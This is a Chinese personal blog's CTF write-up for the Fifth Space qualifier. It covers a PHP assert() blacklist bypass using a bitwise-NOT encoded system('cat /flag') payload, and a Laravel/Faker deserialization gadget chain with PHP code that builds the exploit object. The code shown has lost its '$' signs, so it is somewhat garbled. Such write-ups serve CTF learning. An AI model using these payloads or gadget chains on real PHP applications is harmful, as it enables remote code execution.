3rsh1
/single dog/college student/ctfer
3rsh1's Blog

[第五空间初赛复现]wp

快考试了才打的一个比赛,前天结束的,刚好空出来点时间(舍友在敲键盘,没法复习),就写一下复现的wp吧。这次比赛又是被web毒打的一次。
临近考试一些题目(所用到的知识点自己都熟悉)大概只会写一下反思。而另外包含新知识的题目大概会拿出来好好学习一下。

hate-php

源码如下:

<?php
error_reporting(0);
if(!isset(_GET['code'])){
    highlight_file(__FILE__);
}else{code = _GET['code'];
    if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',code)) { 
        die('You are too good for me'); 
    }
    blacklist = get_defined_functions()['internal'];
    foreach (blacklist as blackitem) {        if (preg_match ('/' .blackitem . '/im', code)) {            die('You deserve better');        }    }
    assert(code);
}

因为assert的一些特性,没办法执行单纯的php句子,但是可以执行函数。直接取反构造即可:

(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%d0%99%93%9e%98)
systyem("cat /flag")

lavarel

为了这道题目去学了一下lavarel,真的难 …..几乎就是从头开始学的,还顺便学了点php的知识。感觉自己快要转开发岗了,害

首先全路径下找找析构函数__destruct()
然后挨个函数看看有没有啥利用的地方,一些特别明显的没有利用点的就pass掉了。搜到一个调用call_user_func()函数的,但是传入命令执行函数的变量只有一个,没啥办法getshell。其实当你发现没什么可以利用的函数的时候,就需要去看看有没有可以利用的魔术方法比如说__call()等。因此全局搜索__call函数。发现在src\Faker\Generator.php内的有可利用的:

https://3rsh1.oss-cn-beijing.aliyuncs.com/20200729162748.png

下面需要考虑的是如何从__destruct()__call()的命令执行。__call()函数执行的条件是,执行类内的不存在的函数,就会自动调用__call()函数,因此我们找的析构函数需要可以调用类外的函数。发现可以利用的函数:
https://3rsh1.oss-cn-beijing.aliyuncs.com/20200729163257.png

其中parent参数可控。而且在__call()所在类内没有addcollextion()函数,故可以调用__call()函数。但是其中的call_user_func_array()的参数有问题,只能调用类内的函数。再继续找,发现一个__call()函数调用了format()函数,format()函数调用了call_user_func_array()函数。跟进来看一下:
https://3rsh1.oss-cn-beijing.aliyuncs.com/20200729165104.png

其中的getformatter()提供回调函数的名字,继续跟进:
https://3rsh1.oss-cn-beijing.aliyuncs.com/20200729165214.png

其中formatters[]可控,是完全可以构造成功的。开始构造:

<?php
namespace Symfony\Component\Routing\Loader\Configurator {
    class ImportConfigurator
    {
        //php7对属性类型不敏感
        public parent;

        public function __construct(parent, route)
        {this->parent = parent;this->route = route;
        }
    }
}
namespace Faker {
    class Generator
    {
        publicproviders;
        public formatters;
        public function __construct()
        {this->formatters=array("system"=>"system");
        }
    }
}
namespace {
    a = new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator(new Faker\Generator(),"cat /flag");
    echo unserialize(a);
}

因为本地的环境坏掉了,就不实验了。放一张y1ng师傅blog的图片:

http://cdn1.pic.y1ng.vip/ctf2020/__68f6dadf20b6bd01c819aaa9dcba6624

参考链接:

https://www.gem-love.com/ctf/2380.html#Laravel

发表评论

textsms
account_circle
email

3rsh1's Blog

[第五空间初赛复现]wp
快考试了才打的一个比赛,前天结束的,刚好空出来点时间(舍友在敲键盘,没法复习),就写一下复现的wp吧。这次比赛又是被web毒打的一次。 临近考试一些题目(所用到的知识点自己都熟悉…
扫描二维码继续阅读
2020-06-26